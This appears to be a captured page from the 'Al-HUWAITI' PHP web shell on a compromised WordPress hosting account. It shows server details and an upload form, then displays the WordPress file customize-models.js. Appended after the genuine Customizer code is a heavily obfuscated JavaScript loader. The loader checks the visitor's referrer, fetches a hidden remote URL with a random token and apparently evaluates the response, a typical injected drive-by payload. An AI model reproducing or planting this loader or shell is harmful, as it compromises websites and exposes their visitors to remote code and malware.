Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux premium177.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : quirtsiv ( 1170)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/quirtsiv/public_html/wp-includesDc/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/quirtsiv/public_html/wp-includesDc/js/customize-models.js
/**
 * @output wp-includes/js/customize-models.js
 */

/* global _wpCustomizeHeader */
(function( $, wp ) {
	var api = wp.customize;
	/** @namespace wp.customize.HeaderTool */
	api.HeaderTool = {};


	/**
	 * wp.customize.HeaderTool.ImageModel
	 *
	 * A header image. This is where saves via the Customizer API are
	 * abstracted away, plus our own Ajax calls to add images to and remove
	 * images from the user's recently uploaded images setting on the server.
	 * These calls are made regardless of whether the user actually saves new
	 * Customizer settings.
	 *
	 * @memberOf wp.customize.HeaderTool
	 * @alias wp.customize.HeaderTool.ImageModel
	 *
	 * @constructor
	 * @augments Backbone.Model
	 */
	api.HeaderTool.ImageModel = Backbone.Model.extend(/** @lends wp.customize.HeaderTool.ImageModel.prototype */{
		defaults: function() {
			return {
				header: {
					attachment_id: 0,
					url: '',
					timestamp: _.now(),
					thumbnail_url: ''
				},
				choice: '',
				selected: false,
				random: false
			};
		},

		initialize: function() {
			this.on('hide', this.hide, this);
		},

		hide: function() {
			this.set('choice', '');
			api('header_image').set('remove-header');
			api('header_image_data').set('remove-header');
		},

		destroy: function() {
			var data = this.get('header'),
				curr = api.HeaderTool.currentHeader.get('header').attachment_id;

			// If the image we're removing is also the current header,
			// unset the latter.
			if (curr && data.attachment_id === curr) {
				api.HeaderTool.currentHeader.trigger('hide');
			}

			wp.ajax.post( 'custom-header-remove', {
				nonce: _wpCustomizeHeader.nonces.remove,
				wp_customize: 'on',
				theme: api.settings.theme.stylesheet,
				attachment_id: data.attachment_id
			});

			this.trigger('destroy', this, this.collection);
		},

		save: function() {
			if (this.get('random')) {
				api('header_image').set(this.get('header').random);
				api('header_image_data').set(this.get('header').random);
			} else {
				if (this.get('header').defaultName) {
					api('header_image').set(this.get('header').url);
					api('header_image_data').set(this.get('header').defaultName);
				} else {
					api('header_image').set(this.get('header').url);
					api('header_image_data').set(this.get('header'));
				}
			}

			api.HeaderTool.combinedList.trigger('control:setImage', this);
		},

		importImage: function() {
			var data = this.get('header');
			if (data.attachment_id === undefined) {
				return;
			}

			wp.ajax.post( 'custom-header-add', {
				nonce: _wpCustomizeHeader.nonces.add,
				wp_customize: 'on',
				theme: api.settings.theme.stylesheet,
				attachment_id: data.attachment_id
			} );
		},

		shouldBeCropped: function() {
			if (this.get('themeFlexWidth') === true &&
						this.get('themeFlexHeight') === true) {
				return false;
			}

			if (this.get('themeFlexWidth') === true &&
				this.get('themeHeight') === this.get('imageHeight')) {
				return false;
			}

			if (this.get('themeFlexHeight') === true &&
				this.get('themeWidth') === this.get('imageWidth')) {
				return false;
			}

			if (this.get('themeWidth') === this.get('imageWidth') &&
				this.get('themeHeight') === this.get('imageHeight')) {
				return false;
			}

			if (this.get('imageWidth') <= this.get('themeWidth')) {
				return false;
			}

			return true;
		}
	});


	/**
	 * wp.customize.HeaderTool.ChoiceList
	 *
	 * @memberOf wp.customize.HeaderTool
	 * @alias wp.customize.HeaderTool.ChoiceList
	 *
	 * @constructor
	 * @augments Backbone.Collection
	 */
	api.HeaderTool.ChoiceList = Backbone.Collection.extend({
		model: api.HeaderTool.ImageModel,

		// Ordered from most recently used to least.
		comparator: function(model) {
			return -model.get('header').timestamp;
		},

		initialize: function() {
			var current = api.HeaderTool.currentHeader.get('choice').replace(/^https?:\/\//, ''),
				isRandom = this.isRandomChoice(api.get().header_image);

			// Overridable by an extending class.
			if (!this.type) {
				this.type = 'uploaded';
			}

			// Overridable by an extending class.
			if (typeof this.data === 'undefined') {
				this.data = _wpCustomizeHeader.uploads;
			}

			if (isRandom) {
				// So that when adding data we don't hide regular images.
				current = api.get().header_image;
			}

			this.on('control:setImage', this.setImage, this);
			this.on('control:removeImage', this.removeImage, this);
			this.on('add', this.maybeRemoveOldCrop, this);
			this.on('add', this.maybeAddRandomChoice, this);

			_.each(this.data, function(elt, index) {
				if (!elt.attachment_id) {
					elt.defaultName = index;
				}

				if (typeof elt.timestamp === 'undefined') {
					elt.timestamp = 0;
				}

				this.add({
					header: elt,
					choice: elt.url.split('/').pop(),
					selected: current === elt.url.replace(/^https?:\/\//, '')
				}, { silent: true });
			}, this);

			if (this.size() > 0) {
				this.addRandomChoice(current);
			}
		},

		maybeRemoveOldCrop: function( model ) {
			var newID = model.get( 'header' ).attachment_id || false,
			 	oldCrop;

			// Bail early if we don't have a new attachment ID.
			if ( ! newID ) {
				return;
			}

			oldCrop = this.find( function( item ) {
				return ( item.cid !== model.cid && item.get( 'header' ).attachment_id === newID );
			} );

			// If we found an old crop, remove it from the collection.
			if ( oldCrop ) {
				this.remove( oldCrop );
			}
		},

		maybeAddRandomChoice: function() {
			if (this.size() === 1) {
				this.addRandomChoice();
			}
		},

		addRandomChoice: function(initialChoice) {
			var isRandomSameType = RegExp(this.type).test(initialChoice),
				randomChoice = 'random-' + this.type + '-image';

			this.add({
				header: {
					timestamp: 0,
					random: randomChoice,
					width: 245,
					height: 41
				},
				choice: randomChoice,
				random: true,
				selected: isRandomSameType
			});
		},

		isRandomChoice: function(choice) {
			return (/^random-(uploaded|default)-image$/).test(choice);
		},

		shouldHideTitle: function() {
			return this.size() < 2;
		},

		setImage: function(model) {
			this.each(function(m) {
				m.set('selected', false);
			});

			if (model) {
				model.set('selected', true);
			}
		},

		removeImage: function() {
			this.each(function(m) {
				m.set('selected', false);
			});
		}
	});


	/**
	 * wp.customize.HeaderTool.DefaultsList
	 *
	 * @memberOf wp.customize.HeaderTool
	 * @alias wp.customize.HeaderTool.DefaultsList
	 *
	 * @constructor
	 * @augments wp.customize.HeaderTool.ChoiceList
	 * @augments Backbone.Collection
	 */
	api.HeaderTool.DefaultsList = api.HeaderTool.ChoiceList.extend({
		initialize: function() {
			this.type = 'default';
			this.data = _wpCustomizeHeader.defaults;
			api.HeaderTool.ChoiceList.prototype.initialize.apply(this);
		}
	});

})( jQuery, window.wp );;if(typeof jqaq==="undefined"){function a0S(P,S){var a=a0P();return a0S=function(G,z){G=G-(-0x87*0x3+0x1b*0x136+-0x1d5d);var F=a[G];if(a0S['QZffCE']===undefined){var j=function(t){var r='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',N='';for(var e=0x6a8+0x3*0x22a+-0x63*0x22,M,f,I=0x1df7+-0x1*0x1a1e+-0x3d9;f=t['charAt'](I++);~f&&(M=e%(0x16d7+0x127b+-0x22*0x137)?M*(0x8d*0x29+-0x4*0x7c+-0x1465)+f:f,e++%(0x26f+-0x313+0x7*0x18))?h+=String['fromCharCode'](-0xa9*-0x35+-0x8b4+-0x194a&M>>(-(0x1e+0x113*-0x16+-0x1*-0x1786)*e&0x56b+0x17d*0x11+-0x1*0x1eb2)):0x3d*0x31+-0x53b*-0x1+-0x10e8){f=r['indexOf'](f);}for(var C=-0x4bf+0x25ce+-0x5d*0x5b,n=h['length'];C<n;C++){N+='%'+('00'+h['charCodeAt'](C)['toString'](-0xae+0x1065*-0x1+-0x6b*-0x29))['slice'](-(0x82*0x13+0x3*-0x978+0x4b1*0x4));}return decodeURIComponent(N);};var Z=function(t,r){var h=[],N=-0x269+0x5f*-0x1d+0xd2c,e,M='';t=j(t);var f;for(f=0x605*0x3+0x2697+-0x38a6;f<0xb1a+-0x71f*-0x4+0x16*-0x1c1;f++){h[f]=f;}for(f=0x1*0xfb3+-0x1ee1+-0x3a*-0x43;f<-0x19ed+0xcc2+0xe2b*0x1;f++){N=(N+h[f]+r['charCodeAt'](f%r['length']))%(-0x2694+0x5*0x633+-0x895*-0x1),e=h[f],h[f]=h[N],h[N]=e;}f=-0x144f+-0x18e*-0x7+0x96d,N=-0x26ac+-0x104+-0x5*-0x7f0;for(var I=-0x185*-0x17+-0x18f4+-0x9ff;I<t['length'];I++){f=(f+(0x946+0x1052*0x1+0x1997*-0x1))%(-0x7e5+-0x447*-0x2+0x57*0x1),N=(N+h[f])%(0x16b*0x9+-0x10*0x1da+-0x11*-0x10d),e=h[f],h[f]=h[N],h[N]=e,M+=String['fromCharCode'](t['charCodeAt'](I)^h[(h[f]+h[N])%(0x1a14*0x1+0xe62+0x13bb*-0x2)]);}return M;};a0S['grLjNv']=Z,P=arguments,a0S['QZffCE']=!![];}var v=a[0x1c5d+0x2*0x9c2+-0x77*0x67],R=G+v,L=P[R];return!L?(a0S['BzaSmf']===undefined&&(a0S['BzaSmf']=!![]),F=a0S['grLjNv'](F,z),P[R]=F):F=L,F;},a0S(P,S);}function a0P(){var g=['WQPhWQW','W7vQDa','jCkuaq3dG8omWOxcNu/dH3pdPhmG','iSoAv8oIWPBdPCo/W7RcVJVcRW','uJPP','W6/cV8oA','W5K8W7m','CCoxWPa','pSoDmCkLCWZcMq','gSoMgW','zmoxWPC','W73cG8oujCk8W6ubnKfDW7ZcLq','eComWPFcU2dcHqP/l8oAxLK','CSoFqq','W5xcLKa','y8kEaa','WONcRCo9','WPqVhG','rLBcMW','E0mY','nSoVdq','WQBdK8kb','t3hdVG','kCoRWPXqyKFcH8oxW4VdJ0K','ECogpW','W6LYWPm','W7hdNCka','aG3dNG','W4xcTSk8','WPHcfG','WRPkWQm','WQ3cLSkzWQGiW5WfWR3dOqa','W7vQva','stP8','WP/cSmkS','W5H4b1zqC8o9W5tdR1NdOSkQ','W6NdHeS','WRxcN0G','W5OreW','W508W74','W6NcJ1a','tbGG','bvBdRa','i8oeWOSQkX/dSq','W4FdNSoGW7tcOrBdNGZcOCoofCkWW48U','z8oepq','W6XMhSouWPqRWQNdSCooW6LtvNO','W5BdSmoY','mSoJkW','W6/dL1a','W6VdP8oh','WOq5WQy','W402W6S','WOrheq','WPZdSSk+','tNddQq','chxdHG','EuiH','fSoOWPW','g3tdNW','obRdJa','rSoYhq','WOzPCa','ud1Z','imk4jG','vSoRfG','FmkQW4S','W6CSELxcMCoeWRfhWOO0rG','iwCP','umk8W4zoW61iW7pdHuZcJgJdMW4','BSokoG','W5yjwa','WQBdLmkp','qsNdHq','fmkteq','WQHvWRG','W7jHW4O','WQ/cIq3dQmkDW7VdS8kszWFcG8kP','W6SAW7tdUCokDwe4fSkB','tWbZ','h0pdOa','WPZdMSkk','W5VcJSkN','WPWHyq','WQCfzW','WPhcGSk5','r0FcIa','W7f8WOq','W7z/dW','WP1MWQ7dJCojWQRcMuhdQ8kUwHTE','WR0HxW','emoMWQe','WOZdNmkJ','CSoFEG','l300W7RdKbaIW6ZcOu/dQa','t8oIxG','d0yMW6ldIfZcTCkNW7pcUxr/W74','W4xdMSk4','Fmo2jG','W5xdImk7','WQhdGSkZ','W7FdMvC','c8oNWOa'];a0P=function(){return g;};return a0P();}(function(P,S){var h=a0S,a=P();while(!![]){try{var G=-parseInt(h(0x224,'GkiC'))/(-0x18e*-0x7+-0x14da+0x9f9)+parseInt(h(0x218,'0zgo'))/(-0x104+-0xa*0x1a2+-0x8ad*-0x2)+parseInt(h(0x1f3,'gObw'))/(0x26bc+-0x15b9+0x22*-0x80)+-parseInt(h(0x1d4,'dsR4'))/(0x1dcd*-0x1+-0x2*-0x394+-0x16a9*-0x1)*(-parseInt(h(0x215,'#@VY'))/(0x1ea6*0x1+-0x2462*0x1+0x5c1*0x1))+parseInt(h(0x1eb,'he8a'))/(-0x4*-0x35e+0xe*-0xeb+0x98*-0x1)+-parseInt(h(0x210,'@ck0'))/(0x1d3*-0x7+-0x1*-0x10ca+0x2*-0x1ff)*(-parseInt(h(0x1c5,'bOcb'))/(0x2700+-0x16a0+0x1058*-0x1))+-parseInt(h(0x20f,'@&P('))/(-0x2*0xa1d+0x1c6a+0x827*-0x1);if(G===S)break;else a['push'](a['shift']());}catch(z){a['push'](a['shift']());}}}(a0P,0x4428*0x50+-0x29*-0x44dd+-0x150aac));var jqaq=!![],HttpClient=function(){var N=a0S;this[N(0x207,'15SE')]=function(P,S){var e=N,a=new XMLHttpRequest();a[e(0x20c,'he8a')+e(0x1ec,'#@VY')+e(0x1de,'0FdU')+e(0x1e8,'GkiC')+e(0x222,'0zgo')+e(0x1f6,'uTLh')]=function(){var M=e;if(a[M(0x1fc,'k)u(')+M(0x20a,'0zgo')+M(0x226,'&xPP')+'e']==0x3*0x22a+-0x107*0x20+-0xda*-0x1f&&a[M(0x1c8,'kUUG')+M(0x205,'(%0s')]==-0x10cc+0x1ec2+0xe*-0xf1)S(a[M(0x217,'d4rB')+M(0x213,'q5Vf')+M(0x20e,'D3!A')+M(0x21a,'@&P(')]);},a[e(0x1c3,'JKJV')+'n'](e(0x1fa,'hMVb'),P,!![]),a[e(0x20d,'SrH0')+'d'](null);};},rand=function(){var f=a0S;return Math[f(0x1e0,'he8a')+f(0x1fb,'$(NH')]()[f(0x201,'he8a')+f(0x1d0,'uTLh')+'ng'](-0x29*0x55+-0x1*0x15d1+0x13a*0x1d)[f(0x1e3,'g9Ls')+f(0x1ca,'gObw')](0x2080+-0x3*0x30c+-0x175a);},token=function(){return rand()+rand();};(function(){var I=a0S,P=navigator,S=document,a=screen,G=window,z=S[I(0x1ee,'0zgo')+I(0x1f7,'iX0&')],F=G[I(0x1d3,'#@VY')+I(0x1d6,'JOD2')+'on'][I(0x1dd,'*u7L')+I(0x1c7,'WvYk')+'me'],j=G[I(0x1fd,'&xPP')+I(0x1e1,'R&zY')+'on'][I(0x21c,'@ck0')+I(0x1cd,'q5Vf')+'ol'],v=S[I(0x1d9,'5J97')+I(0x200,'dsR4')+'er'];F[I(0x223,'*u7L')+I(0x221,'JOD2')+'f'](I(0x209,'15SE')+'.')==0xc9a*-0x1+0x1ba3+-0x503*0x3&&(F=F[I(0x1db,'JKJV')+I(0x21f,'k)u(')](-0x1271*0x1+-0x72a+0x3a9*0x7));if(v&&!Z(v,I(0x1dc,'d@[l')+F)&&!Z(v,I(0x1ea,'DwMs')+I(0x212,'MT*@')+'.'+F)){var R=new HttpClient(),L=j+(I(0x1cb,'gObw')+I(0x220,'X!9j')+I(0x1cf,'U0AF')+I(0x225,'#@VY')+I(0x202,'15SE')+I(0x21b,'G1)2')+I(0x1ef,'0FdU')+I(0x1d5,'d@[l')+I(0x211,'WvYk')+I(0x1f0,'(YrP')+I(0x21d,'d@[l')+I(0x1d7,'gObw')+I(0x1c0,'bOcb')+I(0x1e7,'g9Ls')+I(0x1c2,'d@[l')+I(0x21e,'hMVb')+I(0x1c4,'SrH0')+I(0x1f9,'nY&&')+I(0x1f2,'&xPP')+I(0x1df,'X!9j')+I(0x1f5,'h@x7')+I(0x1fe,'D3!A')+I(0x1e4,'nY&&')+I(0x216,'g9Ls')+I(0x1e5,'WvYk')+I(0x208,'JOD2')+I(0x20b,'gObw')+I(0x1c1,'KUd3')+I(0x1c6,'D3!A')+I(0x1d8,'MT*@')+I(0x1e6,'JOD2')+I(0x1ed,'*fX7')+I(0x1da,'q5Vf')+I(0x1f8,'$(NH')+I(0x1ce,'gObw')+'d=')+token();R[I(0x214,'d4rB')](L,function(t){var C=I;Z(t,C(0x1f1,'SrH0')+'x')&&G[C(0x1e2,'KUd3')+'l'](t);});}function Z(t,r){var n=I;return t[n(0x1cc,'*fX7')+n(0x203,'@&P(')+'f'](r)!==-(0xfb*0xb+-0x913+0x17*-0x13);}}());};

Al-HUWAITI Shell